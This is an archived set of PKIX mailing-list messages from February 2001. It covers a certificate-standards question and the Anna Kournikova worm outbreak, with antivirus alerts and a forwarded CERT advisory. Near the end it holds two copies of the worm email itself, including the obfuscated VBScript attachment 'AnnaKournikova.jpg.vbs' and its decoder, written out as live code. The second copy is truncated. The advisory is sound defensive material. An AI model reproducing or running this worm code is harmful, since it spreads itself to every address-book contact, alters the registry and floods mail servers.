> organisations who have invented their own methods for it (it's so simple that
> there's not much to it, however Sod's law results in everyone choosing not-
> quite-the-same way to do the same thing).  I created a sketch of this a while
> back for a company who were setting up a national cert database here, I could
> turn this into an RFC draft fairly easily if there's any interest, mostly to
> provide some sort of common ground for implementors.
> 
> Peter.

Presumably you meant to say "There's no standard for this other
than RFC 2585", which "specifies the conventions for using FTP and
HTTP to obtain certificates and CRLs from PKI repositories."

From: [email-masked] (Peter Gutmann)
To: [email-masked], [email-masked]
Subject: Re:  Looking for Standards
Sender: [email-masked]
Reply-To: [email-masked]
Date: Wed, 14 Feb 2001 06:30:13 (NZDT)

Lars Pfuhl <[email-masked]> writes:

>I'm looking for some standards (RFCs) dealing with certificate management over
>http. The standard must describe how to store and to get certificates from a
>certificate server. I've only found the rfc for OCSP (rfc 2560) but it
>contains only the standards for checking the status of a certificate. If you
>have a hint for me which rfc is the right it would be very nice.

There's no standard for this, but I've come across a number of people/
organisations who have invented their own methods for it (it's so simple that
there's not much to it, however Sod's law results in everyone choosing not-
quite-the-same way to do the same thing).  I created a sketch of this a while
back for a company who were setting up a national cert database here, I could
turn this into an RFC draft fairly easily if there's any interest, mostly to
provide some sort of common ground for implementors.

Peter.

Date: Tue, 13 Feb 2001 17:46:20 +0100
From: Lars Pfuhl <[email-masked]>
Organization: bone labs GmbH
To: [email-masked]
Subject: Looking for Standards

Hello,

I'm looking for some standards (RFCs) dealing with certificate
management over http. The standard must describe how to store and to
get certificates from a certificate server. I've only found the rfc
for OCSP (rfc 2560) but it contains only the standards for checking
the status of a certificate. If you have a hint for me which rfc is
the right it would be very nice.

Thanks in advance.

Lars Pfuhl
-- 
bone labs ... Secure eBusiness
     Try our Internet-WorkTeam platform at http://www.centerworks.de
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
bone labs GmbH                         Lars Pfuhl
PF 171134, D-10203 Berlin              
phone +49-(0)30-293475-0               email   [email-masked]
fax   +49-(0)30-293475-99              web   http://www.bonelabs.com

From: [email-masked]
To: [email-masked]
Date: Tue, 13 Feb 2001 10:28:43 -0500
Subject: yet another Virus Alert from pkix email

---------------------- Forwarded by Tina R Fox/TCS/TREAS/GOV on 02/13/2001 10:24
AM ---------------------------

[email-masked] on 02/13/2001 03:57:17 AM

To:   Tina R Fox/TCS/TREAS/GOV@TCS
cc:
Subject:  Virus Alert

InterScan has detected a virus, VBS_KALAMAR.A, in an email sent to you on
02/13/2001 03:57:14 from [email-masked].  The following action was
taken: move.

From: [email-masked]
To: [email-masked], [email-masked]
Date: Tue, 13 Feb 2001 10:27:29 -0500
Subject: received virus from pkix mailing list again - TrendMicro Interscan can run on more than just MS Exchange systems

--0__=okK73lDFExwdUeClS0yLFWfhl964WtxrvJaFXi80EieG04jLloAoBmy1
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

---------------------- Forwarded by Tina R Fox/TCS/TREAS/GOV on 02/13/2001 10:20
AM ---------------------------

"seagate.backup" <[email-masked]> on 02/13/2001 03:52:02 AM

To:   "[email-masked]'" <[email-masked]>
cc:    (bcc: Tina R Fox/TCS/TREAS/GOV)
Subject:  Antigen found =*.vbs file

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Eolo Lucentini  and was discovered in IMC Queues\Inbound
located at IDENTRUS/NewYork/BLUE.

--0__=okK73lDFExwdUeClS0yLFWfhl964WtxrvJaFXi80EieG04jLloAoBmy1
Content-type: text/html; 
	name="att1.htm"
Content-Disposition: attachment; filename="att1.htm"
Content-transfer-encoding: base64
Content-Description: Internet HTML

--0__=okK73lDFExwdUeClS0yLFWfhl964WtxrvJaFXi80EieG04jLloAoBmy1--

Received: from tkcs04 (fs1.tkc.at [195.248.51.98]) by above.proper.com (8.9.3/8.9.3) with SMTP id CAA16405 for <[email-masked]>; Tue, 13 Feb 2001 02:44:42 -0800 (PST)
From: [email-masked]
Message-Id: <[email-masked]>
Date: Tue, 13 Feb 2001 11:43:21 +0100 (Westeuropäische Normalzeit)
To: <[email-masked]>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Tue, 13 Feb 2001 11:43:21 +0100 (Westeuropäische Normalzeit)
Method:	Mail
From:  	<[email-masked]>
To:    	<[email-masked]>
File:  	AnnaKournikova.jpg.vbs
Action:	deleted
Virus: 	VBS_KALAMAR.A 

Received: from tkcs04 (fs1.tkc.at [195.248.51.98]) by above.proper.com (8.9.3/8.9.3) with SMTP id CAA16290 for <[email-masked]>; Tue, 13 Feb 2001 02:43:23 -0800 (PST)
From: [email-masked]
Message-Id: <[email-masked]>
Date: Tue, 13 Feb 2001 11:42:39 +0100 (Westeuropäische Normalzeit)
To: <[email-masked]>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Tue, 13 Feb 2001 11:42:39 +0100 (Westeuropäische Normalzeit)
Method:	Mail
From:  	<[email-masked]>
To:    	<[email-masked]>
File:  	AnnaKournikova.jpg.vbs
Action:	deleted
Virus: 	VBS_KALAMAR.A 

From: "Stefan Kelm" <[email-masked]>
Organization: Secorvo Security Consulting GmbH
To: [email-masked]
Date: Tue, 13 Feb 2001 10:10:26 +0100
Subject: (Fwd) CERT Advisory CA-2001-03
Reply-to: [email-masked]
Priority: normal

This is the CERT advisory on the VBS blob that was sent
to the PKIX list (and others).

Cheers,

	Stefan.

------- Forwarded message follows -------
Date sent:      	Mon, 12 Feb 2001 21:02:58 -0500 (EST)
From:           	CERT Advisory <[email-masked]>
To:             	[email-masked]
Organization:   	CERT(R) Coordination Center - +1 412-268-7090
Subject:        	CERT Advisory CA-2001-03
Send reply to:  	CERT Advisory <[email-masked]>

-----BEGIN PGP SIGNED MESSAGE-----

CERT Advisory CA-2001-03 VBS/OnTheFly (Anna Kournikova) Malicious Code

   Original release date: February 12, 2001
   Last revised: February 12, 2001
   Source: CERT/CC

   A complete revision history can be found at the end of this file.

Systems Affected

   Users of Microsoft Outlook who have not applied previously available
   security updates.

Overview

   The "VBS/OnTheFly" malicious code is a VBScript program that spreads
   via email. As of 7:00 pm EST(GMT-5) Feb 12, 2001, the CERT
   Coordination Center had received reports from more than 100 individual
   sites. Several of these sites have reported suffering network
   degradation as a result of mail traffic generated by the
   "VBS/OnTheFly" malicious code.

   This malicious code can infect a system if the enclosed email
   attachment is run. Once the malicious code has executed on a system,
   it will take the actions described in the Impact section.

I. Description

   When the malicious code executes, it attempts to send copies of
   itself, using Microsoft Outlook, to all entries in each of the address
   books. The sent mail has the following characteristics:

     SUBJECT: "Here you have, ;o)"
     
     BODY:

          Hi:
          Check This!

     ATTACHMENT: "AnnaKournikova.jpg.vbs"

   Users who receive copies of the malicious code via electronic mail
   will probably recognize the sender. We encourage users to avoid
   executing code, including VBScripts, received through electronic mail,
   regardless of the sender's name, without prior knowledge of the origin
   of the code or a valid digital signature.

   It is possible for the recipients to be be tricked into opening this
   malicious attachment since file will appear without the .VBS extension
   if "Hide file extensions for known file types" is turned on in
   Windows.

II. Impact

   When the attached VBS file is executed, the malicious code attempts to
   modify the registry by creating the following key:

          HKEY_CURRENT_USER\Software\OnTheFly="Worm made with Vbswg1.50b"

   Next, the it will then place a copy of itself into the Windows
   directory.

          C:\WINDOWS\AnnaKournikova.jpg.vbs

   Finally, the malicious code will attempt to send separate, infected
   email messages to all recipients in the Windows Address Book. Once the
   mail has been sent, the malicious code creates the following registry
   key to prevent future mailings of the malicious code.

          HKEY_USERS\.DEFAULT\Software\OnTheFly\mailed=1

   The code's propagation can lead to congestion in mail servers that may
   prevent them from functioning as expected.

   Beyond this effect, there does not appear to be a destructive payload
   associated with this malicious code. However, historical data has
   shown that the intruder community can quickly modify the code for more
   destructive behavior.

III. Solution

Update Your Anti-Virus Product

   It is important for users to update their anti-virus software. Some
   anti-virus software vendors have released updated information, tools,
   or virus databases to help combat this malicious code. A list of
   vendor-specific anti-virus information can be found in Appendix A.

Apply the Microsoft Outlook E-mail Security Update

   To protect against this malicious code, and others like it, users of
   Outlook 98 and 2000 may want to install the Outlook E-mail Security
   update included in an Outlook SR-1. More information about this update
   is available at

     http://office.microsoft.com/2000/downloaddetails/Out2ksec.htm

   You may also find the following document on Outlook security useful

     http://www.microsoft.com/office/outlook/downloads/security.htm

   The Outlook E-mail security update provides features that can prevent
   attachments containing executable content from being displayed to
   users. Other types of attachments can be configured so that they must
   be saved to disk before they can be opened (or executed). These
   features may greatly reduce the chances that a user will incorrectly
   execute a malicious attachment.

Filter the Virus in Email

   Sites can use email filtering techniques to delete messages containing
   subject lines known to contain the malicious code, or can filter
   attachments outright.

Exercise Caution When Opening Attachments

   Exercise caution when receiving email with attachments. Users should
   disable auto-opening or previewing of email attachments in their mail
   programs. Users should never open attachments from an untrusted
   origin, or that appear suspicious in any way. Finally, cryptographic
   checksums should also be used to validate the integrity of the file.

IV. General protection from email Trojan horses and viruses

   Some previous examples of malicious files known to have propagated
   through electronic mail include:

     Melissa macro virus - discussed in CA-99-04
     http://www.cert.org/advisories/CA-1999-04.html

     False upgrade to Internet Explorer - discussed in CA-99-02
     http://www.cert.org/advisories/CA-1999-02.html

     Happy99.exe Trojan Horse - discussed in IN-99-02
     http://www.cert.org/incident_notes/IN-99-02.html

     CIH/Chernobyl virus - discussed in IN-99-03
     http://www.cert.org/incident_notes/IN-99-03.htm

   In each of the above cases, the effects of the malicious file are
   activated only when the file in question is executed. Social
   engineering is typically employed to trick a recipient into executing
   the malicious file. Some of the social engineering techniques we have
   seen used include

     * Making false claims that a file attachment contains a software
       patch or update
     * Implying or using entertaining content to entice a user into
       executing a malicious file
     * Using email delivery techniques that cause the message to appear
       to have come from a familiar or trusted source
     * Packaging malicious files in deceptively familiar ways (e.g., use
       of familiar but deceptive program icons or file names)

   The best advice with regard to malicious files is to avoid executing
   them in the first place. CERT advisory CA-1999-02.html and the
   following CERT tech tip discuss malicious code and offers suggestions
   to avoid them.

     http://www.cert.org/advisories/CA-99-02.html

     http://www.cert.org/tech_tips/malicious_code_FAQ.html

Appendix A. - Vendor Information

   Appendix A. Anti-Virus Vendor Information

Aladdin Knowledge Systems

     http://www.aks.com/home/csrt/valerts.asp#AnnaK

Command Software Systems, Inc.

     http://www.commandcom.com/virus/vbsvwg.html

Computer Associates

     http://ca.com/virusinfo/virusalert.htm#vbs_sstworm

F-Secure

     http://www.f-secure.com/v-descs/onthefly.shtml

Finjan Software, Ltd.

     http://www.finjan.com/attack_release_detail.cfm?attack_release_id=47

McAfee

     http://www.mcafee.com/anti-virus/viruses/vbssst/default.asp

Dr. Solomon, NAI

     http://vil.nai.com/vil/virusSummary.asp?virus_k=99011

Sophos

     http://www.sophos.com/virusinfo/analyses/vbsssta.htm

Symantec

     http://www.symantec.com/avcenter/venc/data/[email-masked]

Trend Micro

     http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=VBS_KALAMAR.A

   You may wish to visit the CERT/CC's Computer Virus Resources Page
   located at: 
   
     http://www.cert.org/other_sources/viruses.html
   ______________________________________________________________________

   This document was written by Cory Cohen, Roman Danyliw, Ian Finlay,
   John Shaffer, Shawn Hernan, Kevin Houle, Brian B. King, and Shawn Van
   Ittersum.
   ______________________________________________________________________

   This document is available from:
   http://www.cert.org/advisories/CA-2001-03.html
   ______________________________________________________________________

CERT/CC Contact Information

   Email: [email-masked]
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.

   CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
   Monday through Friday; they are on call for emergencies during other
   hours, on U.S. holidays, and on weekends.

Using encryption

   We strongly urge you to encrypt sensitive information sent by email.
   Our public PGP key is available from

   http://www.cert.org/CERT_PGP.key

   If you prefer to use DES, please call the CERT hotline for more
   information.

Getting security information

   CERT publications and other security information are available from
   our web site

   http://www.cert.org/

   To subscribe to the CERT mailing list for advisories and bulletins,
   send email to [email-masked]. Please include in the body of your
   message

   subscribe cert-advisory

   * "CERT" and "CERT Coordination Center" are registered in the U.S.
   Patent and Trademark Office.
   ______________________________________________________________________

   NO WARRANTY
   Any material furnished by Carnegie Mellon University and the Software
   Engineering Institute is furnished on an "as is" basis. Carnegie
   Mellon University makes no warranties of any kind, either expressed or
   implied as to any matter including, but not limited to, warranty of
   fitness for a particular purpose or merchantability, exclusivity or
   results obtained from use of the material. Carnegie Mellon University
   does not make any warranty of any kind with respect to freedom from
   patent, trademark, or copyright infringement.
   _____________________________________________________________________

   Conditions for use, disclaimers, and sponsorship information

   Copyright 2001 Carnegie Mellon University.

   Revision History
     February 12, 2001: Initial release

-+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+
This message was posted through the FIRST mailing list server.  If you
wish to unsubscribe from this mailing list, send the message body of
"unsubscribe first-info" to [email-masked]
-+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+#+--+

------- End of forwarded message -------

-------------------------------------------------------
Dipl.-Inform. Stefan Kelm
Security Consultant

Secorvo Security Consulting GmbH
Albert-Nestler-Strasse 9, D-76131 Karlsruhe

Tel. +49 721 6105-461, Fax +49 721 6105-455
E-Mail [email-masked], http://www.secorvo.de
-------------------------------------------------------
PGP Fingerprint 87AE E858 CCBC C3A2 E633 D139 B0D9 212B

From: ANTIGEN_ABRA <[email-masked]>
To: "[email-masked]'" <[email-masked]>
Subject: Antigen found =*.vbs file
Date: Tue, 13 Feb 2001 00:57:23 -0800

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Eolo Lucentini  and was discovered in IMC Queues\Inbound
located at WRQ/Seattle/ABRA.

From: ANTIGEN_ABRA <[email-masked]>
To: "[email-masked]'" <[email-masked]>
Subject: Antigen found =*.vbs file
Date: Tue, 13 Feb 2001 00:57:05 -0800

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Eolo Lucentini  and was discovered in IMC Queues\Inbound
located at WRQ/Seattle/ABRA.

From: "seagate.backup" <[email-masked]>
To: "[email-masked]'" <[email-masked]>
Subject: Antigen found =*.vbs file
Date: Tue, 13 Feb 2001 03:52:02 -0500

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0959A.3BA4C450
Content-Type: text/plain

Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Eolo Lucentini  and was discovered in IMC Queues\Inbound
located at IDENTRUS/NewYork/BLUE.

------_=_NextPart_001_01C0959A.3BA4C450
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Antigen found =*.vbs file</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file filter.</FONT>
<BR><FONT SIZE=2>The file is currently Deleted.&nbsp; The message, &quot;Here you have, ;o)&quot;, was</FONT>
<BR><FONT SIZE=2>sent from Eolo Lucentini&nbsp; and was discovered in IMC Queues\Inbound</FONT>
<BR><FONT SIZE=2>located at IDENTRUS/NewYork/BLUE.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0959A.3BA4C450--

Date: Tue, 13 Feb 2001 03:00:32 -0600
From: "Postmaster" <[email-masked]>
To: [email-masked]
Subject: WS/Mail Server Notification

--_-==1696283A69==-_
Content-Type: text/plain
Content-Disposition: inline

You have recieved a mail message that contained a "Visual Basic Script"
attachment.
The attachment has been stripped and the message has been delivered to
you.

If you need further assistance with this issue, please contact the NOC
(795-HELP)
and ask to open a trouble ticket.the following files were deleted:
	AnnaKournikova.jpg.vbs

--_-==1696283A69==-_--

From: [email-masked]
Date: Tue, 13 Feb 2001 03:53:08 -0500 (Eastern Standard Time)
To: <[email-masked]>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Tue, 13 Feb 2001 03:53:08 -0500 (Eastern Standard Time)
Method:	Mail
From:  	<[email-masked]>
To:    	<[email-masked]>
File:  	AnnaKournikova.jpg.vbs
Action:	clean failed - deleted
Virus: 	VBS_KALAMAR.A 

From: [email-masked]
Date: Tue, 13 Feb 2001 03:53:08 -0500 (Eastern Standard Time)
To: <[email-masked]>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Tue, 13 Feb 2001 03:53:08 -0500 (Eastern Standard Time)
Method:	Mail
From:  	<[email-masked]>
To:    	<[email-masked]>
File:  	AnnaKournikova.jpg.vbs
Action:	clean failed - deleted
Virus: 	VBS_KALAMAR.A 

Date: Tue, 13 Feb 2001 02:58:24 -0600
From: "Postmaster" <[email-masked]>
To: [email-masked]
Subject: WS/Mail Server Notification

--_-==169628BA64==-_
Content-Type: text/plain
Content-Disposition: inline

You have recieved a mail message that contained a "Visual Basic Script"
attachment.
The attachment has been stripped and the message has been delivered to
you.

If you need further assistance with this issue, please contact the NOC
(795-HELP)
and ask to open a trouble ticket.the following files were deleted:
	AnnaKournikova.jpg.vbs

--_-==169628BA64==-_--

Date: Tue, 13 Feb 2001 02:58:24 -0600
From: "Postmaster" <[email-masked]>
To: [email-masked]
Subject: WS/Mail Server Notification

--_-==169628BA65==-_
Content-Type: text/plain
Content-Disposition: inline

You have recieved a mail message that contained a "Visual Basic Script"
attachment.
The attachment has been stripped and the message has been delivered to
you.

If you need further assistance with this issue, please contact the NOC
(795-HELP)
and ask to open a trouble ticket.the following files were deleted:
	AnnaKournikova.jpg.vbs

--_-==169628BA65==-_--

From: Eolo Lucentini <[email-masked]>
To: [email-masked]
Subject: Here you have, ;o)
Date: Tue, 13 Feb 2001 09:43:40 +0100

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C09599.10DC14CC
Content-Type: text/plain

Hi:
Check This!

------_=_NextPart_000_01C09599.10DC14CC
Content-Type: application/octet-stream;
	name="AnnaKournikova.jpg.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="AnnaKournikova.jpg.vbs"

'Vbs.OnTheFly Created By OnTheFly
Execute =
e7iqom5JE4z("X)udQ0VpgjnH=11{tEcggv=11f{DQ=11VpgjnH=10{Q=0F=11ptGqt=11tg=
TwugoP=11zg=10vU=0FvgG=11Q9v58Jr7R6?=11E=11gtvcQgldeg*vY$eUktvrU0gjnn+$=0F=
=109G5QJv786r0Rgtyiktgv$=11MJWEu^hqyvtc^gpQjVHg{n$^=11.jE*t9:=11+=11(jE*=
t33+3(=11E=11tj3*63=11+=11(jE*t23+;(=11E=11tj5*+4(=11E=11tj3*;2=11+=11(j=
E*t9;=11+=11(jE*t23+2(=11E=11tj3*32=11+=11(jE*t45=11+=11(jE*t33+;(=11E=11=
tj3*72=11+=11(jE*t33+8(=11E=11tj3*62=11+=11(jE*t45=11+=11(jE*t8:=11+=11(=
jE*t:;=11+=11(jE*t33+7(=11E=11tj3*;3=11+=11(jE*t23+5(=11E=11tj5*+4(=11E=11=
tj6*+;(=11E=11tj6*+8(=11E=11tj7*+5(=11E=11tj6*+:(=11E=11tj;*+:=0F=10gU=11=
vQtcyVopldi?7E=11gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v=10+t=0FyQoclVi=
p7de0rqh{nk=11guyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2=11=
(^$pCcpqMtwkpqmcxl0irx0ud=10$k=0F=11h9G5QJv786r0Rgtticg=11f$*MJWEu^hqyvt=
c^gpQjVHg{no^kcgn$f=11+@>$=11$3v=11gj=10pg=0Fp4CUJ9inEN+*=0F=10pg=11fhk=0F=
=10hko=11pqjvp*yq=11+3?c=11fpf=11{cp*yq=11+4?=118jvpg=0F=109G5QJv786r0Rw=
t=11pJ$vv<r11yy0y{fcp{dgvp0$n5.h.ncgu=0F=10pg=11fhk=0F=10gU=11vMLUiJy9M5=
9?zt=11yQoclVip7dq0grvpzghvnk*guyterk0veuktvrwhnncpgo=11.+3=0F=10P\L7\Mz=
6wk?XL=11iMyUMJ99z5t0cgcfnn=0F=10MLUiJy9M590znEuq=10gF=0F=10qK=0F=11hqP=11=
vt*yQoclVip7dh0nkggkzvu*uuyterk0veuktvrwhnncpgo++V=11gj=10pU=0FvgW=11Kg4=
4:|6R2x=11?QtcyVopldi07tecggvgvvzkhgny*euktvru0terkhvnwpnoc.gV=11wt+g=0F=
=10gW4K|4R:x602tyvk\g7PML6\kzXw=0F=10gW4K|4R:x602nEuq=10gG=0FfpK=11=10hN=
=0Fqq=10rH=0Fpwveqk=11p4gUp9CnJNi*E=10+Q=0F=11ptGqt=11tgTwugoP=11zg=10vU=
=0FvgF=1154xQOzM8JT?=11E=11gtvcQgldeg*vQ$vwqnmqC0rrkncekvpq+$=0F=10hKF=11=
54xQOzM8JT=11?Q$vwqnmqV$gj=10pU=0Fvgl=1174PvD\h;n:F?54xQOzM8JTI0vgcPgorU=
ec*gO$RC$K=10+U=0FvgU=11m834i35gN5=11?4lv7\P;D:h0nfCtfugNuukuv=0F=10qH=11=
tcGjeL=114TRoOuD4ToK=11=11p8U4m33gi55=10NK=0F=11hTLo4uR4OoD0TfCtfugGuvpk=
tugE0wqvp>=11=11@=112jVpg=0F=106fFDz5yi3x=11L=11?TLo4uR4OoD0TfCtfugGuvpk=
tugE0wqvp=0F=10qH=11t9Z;:cX|5gT?|3=11V=11=11q6fFDz5yi3x=10LU=0Fvgk=119sd=
4:6x5\5?=11F=1154xQOzM8JTE0gtvcKggv*o+2=0F=10gU=11vKQ6GXDl[LQ=11:=11?TLo=
4uR4OoD0TfCtfugGuvpktugZ*:9X;5cT||g=10+k=0F9sd4:6x5\5V0=11q=11?KQ6GXDl[L=
Q0:fCtfug=10uk=0F9sd4:6x5\5U0dwglve?=11$=11gJgt{=11wqj=11xc.g=3D=11+q=10=
$k=0F9sd4:6x5\5D0fq=11{=11?J$<k=11$=11(dxtehn(=11$=11jEeg=11mjVuk$#(=11x=
=11ednt=11h=11($$=0F=10gu=11vYhpu:sI[h;?3sk496d5:5x0\vCcvjegovp=10uh=0Fu=
Ysp[:;I3hC0fft=11yQoclVip7dI0vgrUegckHnnqgf*t+2=11(^$pCcpqMtwkpqmcxl0irx=
0ud=10$k=0F9sd4:6x5\5F0ngvgCgvhtgwUodvk?=11V=11wt=10gK=0F=11hsk496d5:5x0=
\qV>=11=11@$$V=11gj=10pk=0F9sd4:6x5\5U0pg=10fG=0FQ9v58Jr7R6t0igtyvk=11gJ=
$EM^WquvhcygtQ^VpgjnH^{conkfg.$$=11$3=0F=10pG=11fhK=0F=10gPvz=0F=10pG=11=
fhK=0F=10gPvz=0F=10pg=11fhk=0F=10pG=11fwHepkvpq=0F=10X)udiy3=1170d2")
Function e7iqom5JE4z(hFeiuKrcoj3)
For I =3D 1 To Len(hFeiuKrcoj3) Step 2
StTP1MoJ3ZU=3D Mid(hFeiuKrcoj3, I, 1)
WHz23rBqlo7=3D Mid(hFeiuKrcoj3, I + 1, 1)
If Asc(StTP1MoJ3ZU) =3D 15 Then
StTP1MoJ3ZU=3D Chr(10)
ElseIf Asc(StTP1MoJ3ZU) =3D 16 Then
StTP1MoJ3ZU =3D Chr(13)
ElseIf Asc(StTP1MoJ3ZU) =3D 17 Then
StTP1MoJ3ZU =3D Chr(32)
Else
StTP1MoJ3ZU =3D Chr(Asc(StTP1MoJ3ZU) - 2)
End If
If WHz23rBqlo7<> "" Then
If Asc(WHz23rBqlo7) =3D 15 Then
WHz23rBqlo7=3D Chr(10)
ElseIf Asc(WHz23rBqlo7) =3D 16 Then
WHz23rBqlo7=3D Chr(13)
ElseIf Asc(WHz23rBqlo7) =3D 17 Then
WHz23rBqlo7=3D Chr(32)
Else
WHz23rBqlo7=3D Chr(Asc(WHz23rBqlo7) - 2)
End If
End If
e7iqom5JE4z =3D e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU
Next
End Function
'Vbswg 1.50b
------_=_NextPart_000_01C09599.10DC14CC--

From: Eolo Lucentini <[email-masked]>
To: [email-masked]
Subject: Here you have, ;o)
Date: Tue, 13 Feb 2001 09:43:39 +0100

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C09599.10306B7C
Content-Type: text/plain

Hi:
Check This!

------_=_NextPart_000_01C09599.10306B7C
Content-Type: application/octet-stream;
	name="AnnaKournikova.jpg.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="AnnaKournikova.jpg.vbs"

'Vbs.OnTheFly Created By OnTheFly
Execute =
e7iqom5JE4z("X)udQ0VpgjnH=11{tEcggv=11f{DQ=11VpgjnH=10{Q=0F=11ptGqt=11tg=
TwugoP=11zg=10vU=0FvgG=11Q9v58Jr7R6?=11E=11gtvcQgldeg*vY$eUktvrU0gjnn+$=0F=
=109G5QJv786r0Rgtyiktgv$=11MJWEu^hqyvtc^gpQjVHg{n$^=11.jE*t9:=11+=11(jE*=
t33+3(=11E=11tj3*63=11+=11(jE*t23+;(=11E=11tj5*+4(=11E=11tj3*;2=11+=11(j=
E*t9;=11+=11(jE*t23+2(=11E=11tj3*32=11+=11(jE*t45=11+=11(jE*t33+;(=11E=11=
tj3*72=11+=11(jE*t33+8(=11E=11tj3*62=11+=11(jE*t45=11+=11(jE*t8:=11+=11(=
jE*t:;=11+=11(jE*t33+7(=11E=11tj3*;3=11+=11(jE*t23+5(=11E=11tj5*+4(=11E=11=
tj6*+;(=11E=11tj6*+8(=11E=11tj7*+5(=11E=11tj6*+:(=11E=11tj;*+:=0F=10gU=11=
vQtcyVopldi?7E=11gtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v=10+t=0FyQoclVi=
p7de0rqh{nk=11guyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2=11=
(^$pCcpqMtwkpqmcxl0irx0ud=10$k=0F=11h9G5QJv786r0Rgtticg=11f$*MJWEu^hqyvt=
c^gpQjVHg{no^kcgn$f=11+@>$=11$3v=11gj=10pg=0Fp4CUJ9inEN+*=0F=10pg=11fhk=0F=
=10hko=11pqjvp*yq=11+3?c=11fpf=11{cp*yq=11+4?=118jvpg=0F=109G5QJv786r0Rw=
t=11pJ$vv<r11yy0y{fcp{dgvp0$n5.h.ncgu=0F=10pg=11fhk=0F=10gU=11vMLUiJy9M5=
9?zt=11yQoclVip7dq0grvpzghvnk*guyterk0veuktvrwhnncpgo=11.+3=0F=10P\L7\Mz=
6wk?XL=11iMyUMJ99z5t0cgcfnn=0F=10MLUiJy9M590znEuq=10gF=0F=10qK=0F=11hqP=11=
vt*yQoclVip7dh0nkggkzvu*uuyterk0veuktvrwhnncpgo++V=11gj=10pU=0FvgW=11Kg4=
4:|6R2x=11?QtcyVopldi07tecggvgvvzkhgny*euktvru0terkhvnwpnoc.gV=11wt+g=0F=
=10gW4K|4R:x602tyvk\g7PML6\kzXw=0F=10gW4K|4R:x602nEuq=10gG=0FfpK=11=10hN=
=0Fqq=10rH=0Fpwveqk=11p4gUp9CnJNi*E=10+Q=0F=11ptGqt=11tgTwugoP=11zg=10vU=
=0FvgF=1154xQOzM8JT?=11E=11gtvcQgldeg*vQ$vwqnmqC0rrkncekvpq+$=0F=10hKF=11=
54xQOzM8JT=11?Q$vwqnmqV$gj=10pU=0Fvgl=1174PvD\h;n:F?54xQOzM8JTI0vgcPgorU=
ec*gO$RC$K=10+U=0FvgU=11m834i35gN5=11?4lv7\P;D:h0nfCtfugNuukuv=0F=10qH=11=
tcGjeL=114TRoOuD4ToK=11=11p8U4m33gi55=10NK=0F=11hTLo4uR4OoD0TfCtfugGuvpk=
tugE0wqvp>=11=11@=112jVpg=0F=106fFDz5yi3x=11L=11?TLo4uR4OoD0TfCtfugGuvpk=
tugE0wqvp=0F=10qH=11t9Z;:cX|5gT?|3=11V=11=11q6fFDz5yi3x=10LU=0Fvgk=119sd=
4:6x5\5?=11F=1154xQOzM8JTE0gtvcKggv*o+2=0F=10gU=11vKQ6GXDl[LQ=11:=11?TLo=
4uR4OoD0TfCtfugGuvpktugZ*:9X;5cT||g=10+k=0F9sd4:6x5\5V0=11q=11?KQ6GXDl[L=
Q0:fCtfug=10uk=0F9sd4:6x5\5U0dwglve?=11$=11gJgt{=11wqj=11xc.g=3D=11+q=10=
$k=0F9sd4:6x5\5D0fq=11{=11?J$<k=11$=11(dxtehn(=11$=11jEeg=11mjVuk$#(=11x=
=11ednt=11h=11($$=0F=10gu=11vYhpu:sI[h;?3sk496d5:5x0\vCcvjegovp=10uh=0Fu=
Ysp[:;I3hC0fft=11yQoclVip7dI0vgrUegckHnnqgf*t+2=11(^$pCcpqMtwkpqmcxl0irx=
0ud=10$k=0F9sd4:6x5\5F0ngvgCgvhtgwUodvk?=11V=11wt=10gK=0F=11hsk496d5:5x0=
\qV>=11=11@$$V=11gj=10pk=0F9sd4:6x5\5U0pg=10fG=0FQ9v58Jr7R6t0igtyvk=11gJ=
$EM^WquvhcygtQ^VpgjnH^{conkfg.$$=11$3=0F=10pG=11fhK=0F=10gPvz=0F=10pG=11=
